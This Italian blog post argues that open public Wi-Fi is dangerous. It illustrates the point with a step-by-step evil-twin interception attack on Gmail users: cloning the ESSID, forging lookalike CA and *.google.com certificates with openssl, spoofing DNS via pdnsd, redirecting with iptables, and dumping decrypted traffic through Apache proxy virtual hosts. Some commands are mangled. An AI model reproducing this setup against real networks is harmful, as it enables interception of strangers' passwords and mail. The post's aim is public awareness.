KeinPfusch

I polli attraversano sempre la strada.

Di pubblicato mercoledì, Giugno 1, 2011

Negli ultimi due post ho detto che le reti wi-fi aperte e pubbliche sono pericolosissime, e subito mi sono sentito dire che faccio terrorismo. Cosi’ spieghero’ nel dettaglio come e’ possibile sfruttare la COGLIONAGGINE di chi usa reti aperte gratuite per fottergli dati fondamentali. E vi spiego perche’ sono contrario alle “reti wifi libere e pubbliche e gratuite” che va tanto di moda chiedere. Vi spieghero’ quindi quanto pericolo corre chi ne usa una, e specialmente quanto facile sia attaccarla. Vi spieghero’ proprio come si fa, con un semplice portatile ed una Linux Ubuntu, a farlo.

PRIMA DI INIZIARE VOGLIO CHIARIRE: NON VI STO INVITANDO A FARLO. STO SPIEGANDO PASSO PASSO PERCHE’ VEDIATE QUANTI POCHI SIANO I PASSI. BASTA POCO SOFTWARE OPENSOURCE E LA CONOSCENZA DEI PROTOCOLLI. SE DICO “VOI” RIFERENDOMI ALL’ATTACCANTE E’ SOLO PER COMODITA’ DIALETTICA. NON VI STO INVITANDO A FARLO. VI DICO SOLO QUANTO E’ FACILE PER FARVI CAPIRE QUANTO SONO FESSI  I GRILLINI SE VI ISTIGANO A COLLEGARVI AD UNA WIFI APERTA. IL WIFI E’ DEBOLISSIMO PER SUA NATURA DI RADIO  QUANDO LA RETE E’ APERTA. HO COMUNQUE INSERITO ALCUNE INCONSISTENZE CHE IMPEDISCONO DI USARE LE COSE SEMPLICEMENTE FACENDO COPIA-INCOLLA. PER CORREGGERE GLI ERRORI OCCORRE SAPER FARE QUESTE COSE, IL CHE NON CAMBIA NULLA.

Quanto scrivo si puo’ ovviamente applicare alla solita situazione condominiale: voi lasciate aperta una wifi e tutto il condominio ci si connette. Crederanno di essere un sacco furbi. I piu’ svelti diranno pure che loro tanto usano i siti sicuri, senza pero’ sapere QUALI siano i siti sicuri. E specialmente, senza sapere un cazzo di criptazione.
Quello che porteremo e’ un attacco facile che si basa sul possesso del DNS e la produzione di certificati selfsigned , ma abbastanza maliziosi. Parecchio maliziosi. E’ un attacco di prossimita’,che sfrutta una debolezza intrinseca del wifi aperto.
Il perche’ questo si applichi alle reti pubbliche  E AI FESSI CHE SI CREDONO FURBI CERCANDO RETI APERTE e’ molto semplice: se avete una rete municipale ovviamente e’ ovunque in citta’. E avra’ un certo nome, diciamo che so io “Retecivica_Milano”.  Questo che voi chiamate “nome” in realta’ e’ un ESSID.

Ora, la domanda e’: l’ ESSID e’ unico? 
La risposta e’ NO. Piu’ access point possono avere lo stesso ESSID. Quindi, se la rete civica , aperta e gratuita , si chiama “Retecivica_Milano”,  ANCHE VOI potete , sul vostro PC, creare una rete “Ad-Hoc” con lo stesso nome. E fare da access point, indistinguibili (in una wifi aperta) da qualsiasi altro, se non per il MAC address. Tutti guardano il mac address dell’ access point, nelle reti civiche, is not?
Che cosa succedera’ al malcapitato che si trova a tiro di ENTRAMBE le reti omonime, cioe’ quella del vostro portatile e quella della rete civica? Scegliera’ AUTOMATICAMENTE , nella stragrande maggioranza dei firmware, quella COL SEGNALE PIU’ FORTE. Quindi, state portando un attacco di prossimita’. 
Se qualcuno e’ abbastanza vicino a voi che il vostro segnale gli risulta piu’ forte , allora il suo PC/tablet/cellulare scegliera’ la VOSTRA Wifi.
Va da se’ che un simile attacco, se applicato ad un luogo affollato con una rete aperta, e’ devastante. Avete mai visto i sistemi di wifi degli hotel? Essi hanno una wifi aperta, alla quale accedete comunque, come fanno anche gli hot spot. Accedendovi siete rediretti presso una pagina che vi chiede una password.Cosi’, se siete in albergo e create una rete con LO STESSO ESSID di quello dell’albergo, gli utenti delle camere vicine si collegheranno al VOSTRO PC. Magari non ricevono la richiesta della password, ma non per questo si fermeranno: possono navigare, quindi navigano.
Ovviamente c’e’ modo di evitarlo, sapendo il MAC address dell’ ACCESS point. Si possono installare certificati sugli access point. Ma questo significa che la rete NON e’ piu’ “aperta”.  Altrimenti potete solo cercare di leggere il MAC address.Ma chi conosce il giusto MAC address? Si puo’ sicuramente rendere la rete sicura con un certificato associato all’access point, sia chiaro, ma stiamo parlando di reti APERTE, ricordate? Quindi no, se le reti sono aperte, e voi create una rete con lo stesso ESSID della rete aperta, i computer piu’ vicini a voi sceglieranno VOI come access point. 

Questo vale per reti wifi civiche, reti gratuite nei lounge degli aereoporti, reti ad accesso libero e autenticazione sullo strato applicativo (hotel, hotspot, eccetera) , e ovviamente vale anche per le reti aperte dei vostri vicini di casa, se ne avete.
Stabilito che per portare un attacco di prossimita’ ad una wifi aperta basti creare una wifi con lo stesso ESSID (nome) ed essere vicini alle vittime, adesso vediamo un pochino come fare il resto.
Subito mi direte che moltissimi siti importanti lavorano su SSL. Ni. Per esempio Facebook esegue l’autenticazione su SSL ma il resto lo fa via http.  Quindi, di certo potrete sniffare facebook , dall’autenticazione in poi. Ipotizzero’ comunque di attaccare un sito completamente in https, come gmail.
Abbiamo detto che abbiamo creato una wifi libera, e che essa per qualche motivo verra’ usata. Forse verra’ usata perche’ ha lo stesso ESSID di una rete aperta e pubblica, forse perche’ i nostri vicini di casa si sentono furbi, forse perche’ siamo in un sistema che lascia libero l’accesso alla wifi ma poi chiede la password per navigare.
Allora, per prima cosa bisogna preparare l’attacco. Per prepararlo vi serve quanto segue, poi vi servira’ altro.
  • Un linux ubuntu con openssl e un collegamento ad internet.

 

Andate sul prompt e scrivete questo:

 openssl s_client -connect mail.google.com:443 -showcerts

vi restituira’ un sacco di numeri e di cose inutili, eccetto queste qui:

depth=1 /C=ZA/O=Thawte Consulting (Pty) Ltd./CN=Thawte SGC CA

…

    s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=mail.google.com   i:/C=ZA/O=Thawte Consulting (Pty) Ltd./CN=Thawte SGC CA

….

  •    i:/C=US/O=VeriSign, Inc./OU=Class 3 Public Primary Certification Authority

 

 

Queste due cose vi dicono, essenzialmente, come creare un certificato malizioso. Malizioso non significa autentico. Malizioso significa che, se suddividiamo la popolazione in alcuni strati:
  1. Polli (completi ignoranti di informatica, utenti Apple -loro non devono sapere niente di informatica, devono solo usarla, ricordate? – utenti di tablet, utenti di smartphone)
  2. Early User (gente cui gli amici chiedono suggerimenti di informatica, gente che legge riviste di informatica, eccetera)
  3. Esperti (gente che ha studiato almeno delle basi di informatica in maniera sistematica, ma non conosce i dettagli.)
  4. Addetti ai lavori (gente che SA esattamente cosa e anche COME funzionino le cose perche’ legge i documenti dell’ IEEE/IETF/3GPP)
osserveremo che gli strati 4 e 3 rappresentano circa il 5% della popolazione, e lo strato 4 circa l’uno per mille. Abbiamo quindi discretissime probabilita’ che il 99% degli utenti sia ingannato da un certificato malizioso.  Che cos’e’ un certificato malizioso?
Un certificato malizioso e’ un certificato che ha lo stesso CN ed apparentemente la stessa CA , solo che la somiglianza si limita ai nomi e non alle chiavi ed ai fingerprint.
Cosa significa? Significa che l’ Early User SA che il certificato deve essere autentico e che il sito deve essere certificato, ma in genere di fronte all’allarme controlla due cose:
  1. Che il nome dell’host corrisponda. (ha anche spiegato agli amici cosa sia il phishing)
  2. Che il certificato corrisponda al sito che si vuole raggiungere.
Tuttavia, il nostro early user (e spesso anche l’esperto) non sa cosa sia di preciso il fingerprint e non sa di preciso quale sia il ruolo delle chiavi e della CAroot  in tutta la baracca. Non saprebbe dirvi perche’ e’ cosi’ assolutamente fico che depth=1, cosa che ho sottolineato in rosso.

 

Adesso andiamo a creare una certification authority sul nostro computer. Scrivete:
  • openssl genrsa -des3 -out ca.key 4096
  • openssl req -new -x509 -days 365 -key ca.key -out ca.crt

 

Ovviamente noterete che all’atto di creare una certificatio authority vi vengono chiesti dei campi specifici.

Common Name (CN): Thawte SGC CA

Organization (O): hawte Consulting (Pty) Ltd.

Organizational Unit (OU): VeriSign, Inc. Class 3 Public Primary Certification Authority 

Country(C):ZA

Come sapevamo cosa scriverci? Ma e’ semplice, darling, ce li ha dati gmail:

  • C=ZA/O=Thawte Consulting (Pty) Ltd./CN=Thawte SGC CA
  • C=US/O=VeriSign, Inc./OU=Class 3 Public Primary Certification Authority
Abbiamo detto che per costruire un certificato malizioso occorra che sembri, ad un esame poco approfondito, un certificato originale. Usa le stesse sigle, gli stessi nomi di azienda. Se usate thawte, che e’ l’owner della certificazione del sito gmail.com, in seguito su delega di verisign, otterrete che apparentemente cercando in giro con google gmail appare proprio certificata da loro. Certo, se qualcuno verifica il fingerprint e le chiavi le cose non stanno cosi’, e il  browser essendo un programma se ne accorge, ma offre la scelta di continuare lo stesso. E la maggior parte continuera’ ugualmente.
  • L’80% dei polli continuera’ perche’ quel messaggio, che noia! mi compare sempre. certe volte. vabe’.
  • Il 10% dei polli si tirera’ indietro.
  • Il 10 per cento dei polli clicchera’ ok, poi si vedra’ comparire davanti la solita schermata di login, e continuera’ .
  • L’early User controllera’ che il sito nel browser sia giusto, e quindi pensera’ a qualche problema del PC o a qualche warning noioso. E continuera’.
  • L’esperto aprira’ il certificato e andra’ a controllare il CN (che voi regolerete a mail.google.com, oppure a login.google.com a seconda , ma di solito la gente preferisce non scrivere la password e conservare il cookie , cliccando su “ricordami su questo computer”).  Ma vedra’ che il certificato ha il cn, e come se non bastasse menziona Thawte e Verisign: due garanzie nel settore. Aha. Solo che non sa come controllare che la CA sia effettivamente quella.
  • L’addetto ai lavori le wifi pubbliche aperte non le usa. Perche’ sa quanto segue. PUNTO.

 

Abbiamo creato una CA che si chiama circa come Thawte. Adesso scriviamo:
  • openssl req -new -key server.key -out server.csr

 

E ci chiedera’ questa roba, circa, che il pirata riempira’ cosi’:

 

Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:California
Locality Name (eg, city) []:Mountain View
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Google, Inc.
Organizational Unit Name (eg, section) []: Gmail.
Common Name (eg, YOUR name) []:*.google.com
Email Address []:[email protected]

 

Ottenendo una cosa MOLTO SIMILE al vero certificato, o perlomeno credibile. Ovviamente il programma (il browser) se ne accorge, ma chi andasse a leggere il certificato falso sarebbe orientato a cascarci. E ci cascheranno a decine. Sembra un certificato di google, e solo chi sa come funzioni una CAroot e conosce l’intero processo  sa spiegarsi come mai il browser indichi gmail e il certificato indichi gmail SENZA essere vero.
Perche’ abbiamo indicato *.google.com e non mail.google.com? Perche’ quando usate gmail il login non lo fate su gmail stesso, ma (potete vederlo se vi fate mostrare la pagina di gmail) lo fate qui:
———————–8X———————
    

 

      action=”https://http://www.google.com/accounts/ServiceLoginAuth” method=”post”
———————8X———————
 
cioe’ su http://www.google.com. Che ha un certificato analogo per CA , ma ha un diverso CN. Per ottenere un certificato valido su entrambi dovete usare un CN con l’asterisco, che oggi lavora su quasi tutti i browser.
 
A questo punto, firmate il certificato con la CA che avete creato prima, la quale mostra, piu’ o meno a casaccio, i nomi che ci aspettiamo, tipo thawte e verisign:
 
    openssl x509 -req -days 365 -in server.csr -CA ca.crt -CAkey ca.key -set_serial 01 -out server.crt
 
Avete ottenuto un falso certificato malizioso. E’ un falso perche’ ovviamente e’ selfsigned, ma ad un’occhiata superficiale (quella del semplice early user o dell’ ingegnere informatico che NON ha mai lavorato coi certificati ma li ha solo studiati (1)  e ha una vaga idea di come funzionino. ) appaiono consistenti. Moltissimi tra i pochi che si affannano a leggere il certificato non ci troveranno nulla da dire.
 
Adesso abbiamo un certificato malizioso, e dobbiamo usarlo per leggere le password di quelli che usano gmail. 
 
Allora, abbiamo detto che abbiamo creato una wifi ad-hoc e che stiamo agendo da server dhcp. Quindi, abbiamo un indirizzo sulla NOSTRA interfaccia diciamo 192.168.0.1 , che risultera’ essere il router e il DNS per i “furbi” che si sono attaccati alla nostra rete wifi aperta e gratuita.


Adesso per prima cosa installiamo pdnsd. In particolare, PDNSD e’ un proxy dns, che ha una feature curiosa: puo’ leggere il file /etc/hosts e restituire la mappa come se fosse una richiesta al dns, e non un semplice gethostbyname() del kernel , quando si ferma a leggere /etc/hosts.


Allora, nel nostro /etc/pdnsd.conf aggiungiamo questo:


source {
owner=localhost;
serve_aliases=on;
file=”/etc/hosts”;
}

e adesso scriviamo cosi’ su /etc/hosts :

192.168.0.1 mail.google.com
192.168.0.1 http://www.google.com

e controlliamo, usando nslookup, che corrisponda:

 $nslookup
$ server localhost
Default server: localhost
Address: 127.0.0.1#53
$ http://www.google.com
Server: localhost
Address: 127.0.0.1#53

Name: http://www.google.com
Address: 192.168.0.1

a questo punto, il broswer del furbo che e’ collegato alla wifi “libera e pubblica” si trova a credere di andare su http://www.google.com , ma il suo dns non funziona tanto bene. Anche perche’ lui e’ COSTRETTO ad andare sul nostro DNS:
  •  $IPTABLES_CMD -t nat -A OUTPUT  -p tcp -m owner ! –uid-owner  pdnsd –dport 53 -j DNAT –to 192.168.0.1:53 -m comment –comment “NAT”
  • $IPTABLES_CMD -t nat -A OUTPUT  -p udp -m owner ! –uid-owner  pdnsd –dport 53 -j DNAT –to 192.168.0.1:53 -m comment –comment “NAT”
In altre parole, quando il browser del furbo che si e’ attaccato alla wifi “gratuita e aperta” cerca di risolvere http://www.google.com, in realta’ punta sulla vostra wifi. Ma non ha modo di saperlo a meno che non faccia il controllo a manina.

Adesso dobbiamo fare in modo da intercettare quello che passa sulla vostra interfaccia, ma vogliamo farlo con comodo. Non vogliamo gigabyte di tcpdump da ispezionare. Vogliamo vedere cosa succede e basta.


Allora, ci serve:

  • Apache 2.2.xx
  • mod_dumpio
  • mod_ssl
  • mod_proxy

Ovviamente vanno installati ed abilitati propriamente.

Abbiamo detto che quando il nostro genio va su gmail.com o su http://www.google.com in realta’ passa sulla nostra interfaccia wifi. Dobbiamo quindi creare due virtualhost di apache che bindino quell’interfaccia e ci dicano cosa passa.

Prima le cose facili, cioe’ la porta in chiaro. Dobbiamo creare un proxy http trasparente, che con apache si fa in una sola rewrite rule:
(devo sostituire le parentesi acute con quelle graffe perche’ il cazzo di blogger fa un casino)

{VirtualHost 192.168.0.1:80}
ServerName dumper
ProxyRequests   Off
RewriteEngine   On
RewriteLogLevel 0
LogLevel debug
DumpIOInput On
DumpIOOutput ON
DumpIOLogLevel debug
ErrorLog “/path/mio_dump_robainchiaro.txt”

ProxyPreserveHost       On
RewriteRule ^/(.*)    http://%{HTTP:Host}/$1 [P,L]
{/Virtualhost}

Questo virtualhost di fatto agisce da proxy trasparente, portando le vostre richieste sull’host di destinazione, ma usa mod_dumpio per fare un dump completo del traffico (in chiaro, formato testo, leggibile) su un file. Niente di che, ma se per esempio l’utente si collega a Facebook, dopo il login (criptato) TUTTO il maledetto traffico e’ in chiaro, e lo troverete bello bello nel file. Aha.Proprio cosi’.

Per portare ogni cosa sul proxy trasparente dobbiamo fare:

  •  $IPTABLES_CMD -t nat -A OUTPUT  -p tcp -m owner ! –uid-owner  apache –dport 80 -j DNAT –to 192.168.0.1:80 -m comment –comment “NAT”
  • $IPTABLES_CMD -t nat -A OUTPUT  -p udp -m owner ! –uid-owner  apache –dport 80 -j DNAT –to 192.168.0.1:80 -m comment –comment “NAT”

Adesso andiamo ad attaccare la sicurezza dei certificati SSL.

Creiamo un altro virtualhost di apache, fatto cosi’:




{VirtualHost 192.168.0.1:443}
        ServerName sniffer_ssl
        ProxyRequests   Off
        RewriteEngine   On
        RewriteLogLevel 0 
        LogLevel debug


#parte che serve per il server https
SSLEngine       On
SSLCipherSuite  ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:-LOW:-SSLv2:+EXP:+eNULL
SSLProtocol     all
SSLCertificateFile      /miocertificatopath/cert.pem
SSLCertificateKeyFile   /miocertificatopath/chiave.pem
AddType application/x-x509-ca-cert .crt
AddType application/x-pkcs7-crl    .crl
AddType application/x-x509-ca-cert .cer
#parte che serve per il server https END
#parte che serve per proxare verso un server https
SSLProxyEngine on
SSLVerifyDepth 0
SSLProxyVerifyDepth 0
#fine proxy SSL
        DumpIOInput On
        DumpIOOutput On
        DumpIOLogLevel debug
        ErrorLog “/path/mio_dump_robain_ssl.txt”
#regole per mandare tutto sul sito finale
ProxyPreserveHost       On
RewriteCont %{HTTP:Host}     ^(.*:443)$
RewriteRule ^/(.*)    https://%1/$1 [P,L]
RewriteRule ^/(.*)    https://%{HTTP:Host}:443/$1 [P,L]
{/VirtualHost}



Che cosa fa questo simpatico virtualhost? Semplice: la parte in verde usa il certificato farlocco per fingere di essere http://www.google.com e mail.google.com , visto che il dns farlocco che abbiamo fatto risolve i due siti sulla nostra interfaccia wifi. E siccome c’e’ la wildcard *.google.com, il certificato produce un allarme meno importante, che e’ semplicemente “non trovo la certification authority”. Il nome dell’host e’ coerente col certificato.

La parte che ho sottolineato in rosso non fa altro che agire da client verso gmail e http://www.google.com quando agiscono su SSL. Fa quello che doveva fare il vostro browser, ed e’ anche piuttosto tollerante sui certificati.

La parte sottolineata in blu, prende il traffico in chiaro (il nostro virtualhost e’ l’endpoint di un browser convinto di andare su mail.google.com) e lo spara verso il vero google, in modo da poter simulare il flusso vero, e mettersi in mezzo. L’utente quindi gira su gmail normalmente.

La parte sottolineata in giallo fa il dump di tutto quel che passa su un file.


Cosa vedra’ il nostro utente collegato ad una rete aperta e gratuita? L’unica differenza col browsing normale sara’ un messaggio di errore per il certificato non valido quando si colleghera’ a gmail. FINE.



Perche’ abbiamo attaccato proprio gmail? Semplice: perche’ quando una persona entra in un nuovo servizio (paypal, facebook, qualsiasi) si fa mandare una email di riepilogo dei dati, che spesso contiene la passwword. E gmail non cancella quasi mai nulla. E gmail ha una comoda finestrella “cerca” nella quale possiamo scrivere “password”, “welcome”, “benvenuto”, e ci dara’ tutte le email che riceviamo dopo esserci iscritti a qualche sito che richiede la password. 
  • In un mondo perfetto, ovviamente l’utente spegne il browser quando vede l’avviso. Nel mondo reale, l’utente il messaggio di certificato non valido se lo vede dare spesso, clicca “aggiungi eccezione” e gli e’ sempre andata bene. Lo fara’ ancora.
  • In un mondo perfetto il browser RIFIUTA di proseguire se c’e’ qualcosa che non va nel certificato, e vaffanculo se qualcuno configura male i DNS/Server http. Nel mondo reale, il messaggio e’ quasi amichevole, e il numero di server malconfigurati e’ ENORME. L’utente e’ abituato a fare “aggiungi eccezione”. Qualcuno controlla che il nome di host coincida. I piu’ sofisticati vanno a controllare il certificato ma non sanno bene come controllarne la veridicita’ personalmente.
  • In un mondo perfetto, nessuno tiene le password nella casella email e nessuno accetta che gmail le conservi dentro la casella suddetta. Nella realta’, il 90% delle persone conserva PROPRIO e specialmente queste email su gmail, perche’ “non si sa mai che il PC si rompa”. 
Questa e’ la ragione per la quale sono contrario al nuovo sloagan della merdosa cricca grillesca: usando reti wifi civiche senza requisiti di accesso (cioe’ senza password, aperte), il rischio e’ un attacco di prossimita’ su vasta scala.



Un attaccante puo’ configurare il suo laptop cosi’ come ho descritto e andare in un luogo pubblico semplicemente creando una rete wifi ad hoc con lo stesso ESSID di quella pubblica. Il risultato sara’ che tutti coloro che gli passano vicino si collegheranno a lui senza saperlo.


Questo e’ il punto le reti wifi vanno bene se:

  1. Si entra con credenziali forti.
  2. La crittazione sulla rete e’  robusta.
  3. Esiste un certificato che vi garantisce l’identita’ dell’ access point.

Questo (escluso il punto 2) e’ cio’ che fate con una SIM. Purtroppo la crittazione A5 non e’ niente di speciale quindi il punto due salta. 


Ma se entrate nel cazzo di rete wifi aperta e pubblica SENZA almeno il requisito 1 e 3, e lo fate a MILIONI, il rischio e’ che la vostra sicurezza finisca IN MERDA.


Le reti wifi pubbliche e aperte per milioni di persone SONO UN’IDEA DI MERDA,  perche’ basta uno stronzo con un portatile per fare danni enormi. Anche NON attaccando l’ SSL, avere la possibilita’ di sniffare tutto il traffico verso facebook/altri siti che vanno in chiaro di una persona e’ gia’ un pericolo ENORME per la sicurezza .


In una citta’ completamente ricoperta da una wifi aperta chi girasse con un portatile configurato come ho descritto e l’ ESSID identico a quello cittadino farebbe “pesca a strascico”, a patto di frequentare posti affollati. Se lo installate in un hotel usando lo stesso ESSID dell’albergo, un pochino di clienti si collegheranno a voi, e gireranno convinti di usare la wifi dell’hotel. Se la lasciate aperta in condominio, vi troverete qualche condomino che si crede furbo attaccato alla rete, nonche’ qualche fesso che si crede un hacker fuori dalla finestra.


Chi vuole la wifi aperta e gratuita per tutti vuole che MILIONI di persone prendano l’abitudine a collegarsi usando wifi aperte, aitudine che e’ pericolosissima per la natura radio della wifi, ovvero per il problema della prossimita’.

Immagino che le reti wifi aperte a tutti siano una figata sul piano del marketing di google. Immagino che siano una figata per le campagne elettorali nelle citta’ americane. Lo sono di sicuro per le campagne elettorali di Grillo.



Ma se dovessi andare nella citta’ i google che grillo ama tanto, sapete cosa farei? Mi collegherei usando una connect card 3G. Che non e’ il massimo della sicurezza, sia chiaro, ma almeno se uso una USIM posso sapere di chi cavolo sia la cella con cui parlo.


E consiglio anche a voi di farlo.


Uriel

(1) Pregiudizio dettato dall’esperienza. Provate a prendere un neolaureato in ingegneria informatica e chiedetegli di produrre certificati ed installarli. Se non hanno dato la tesi proprio su quello, non sanno di che cazzo state parlando ne’ da dove iniziare. Questo e’ quello che vedo accadere nei colloqui tecnici. L’ingegnere ha un’idea di massima su come funzionino, ma se non ne ha mai creati e installati di persona sa soltanto che se il nome di dominio sul browser corrisponde a quello sul certificato, “salamadonna perche’ mi da questo errore”.

0
Post correlati

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *